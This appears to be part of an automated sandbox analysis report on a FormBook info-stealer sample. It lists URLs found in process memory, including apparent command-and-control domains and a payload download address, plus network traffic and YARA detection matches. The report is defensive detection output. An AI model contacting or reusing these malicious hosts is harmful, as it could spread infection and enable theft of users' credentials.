          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kimosskrupulslacker.cfd
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kimosskrupulslacker.cfd/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kimosskrupulslacker.cfd/f29s/www.duxrib.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kimosskrupulslacker.cfdReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ndradesanches.shop
          Source: explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ndradesanches.shop/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ndradesanches.shopReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ound-qlhmm.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ound-qlhmm.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ound-qlhmm.xyz/f29s/www.idstream.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ound-qlhmm.xyzReferer:
          Source: x.exe, x.exe, 00000004.00000003.2142117406.000000007FBDF000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2141828114.000000000303C000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020F49000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250459092.00000000216D8000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250243378.00000000215DC000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2254223974.000000007FE2F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2225748962.000000000303B000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250243378.000000002157D000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000000.2213209733.0000000000416000.00000002.00000001.01000000.00000008.sdmp, explorer.exe, 0000000C.00000002.4594172713.000000000FFFF000.00000004.80000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578632735.0000000002CAA000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579948953.000000000536F000.00000004.10000000.00040000.00000000.sdmp, joedgvvL.pif.4.drString found in binary or memory: http://www.pmail.com
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ranxxletzz.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ranxxletzz.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ranxxletzz.xyz/f29s/www.ixedcontainerlogistics.today
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ranxxletzz.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.specially-smou.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.specially-smou.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.specially-smou.xyz/f29s/www.zpp-at.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.specially-smou.xyzReferer:
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zpp-at.xyz
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zpp-at.xyz/f29s/
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zpp-at.xyz/f29s/www.byataltatweer.net
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zpp-at.xyzReferer:
          Source: explorer.exe, 0000000C.00000000.2252872203.00000000099AB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
          Source: explorer.exe, 0000000C.00000000.2264757843.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4591988823.000000000BFDF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/I
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com-
          Source: x.exe, 00000004.00000002.2216401383.00000000008FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://himalayastrek.com/
          Source: x.exe, 00000004.00000002.2248060897.0000000020FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://himalayastrek.com/stein/233_Lvvg
          Source: x.exe, 00000004.00000002.2248060897.0000000020FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://himalayastrek.com/stein/233_Lvvgdeojree
          Source: x.exe, 00000004.00000002.2216401383.0000000000977000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://himalayastrek.com:443/stein/233_LvvgdeojreeP
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.come
          Source: explorer.exe, 0000000C.00000000.2264757843.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4591988823.000000000BFEF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comEMd
          Source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 0000000C.00000002.4587065407.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3075011568.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252872203.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2979174181.00000000099AB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/e
          Source: explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.comM
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
          Source: explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
          Source: unknownHTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.6:49710 version: TLS 1.2
          Source: Yara matchFile source: Process Memory Space: x.exe PID: 3544, type: MEMORYSTR

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
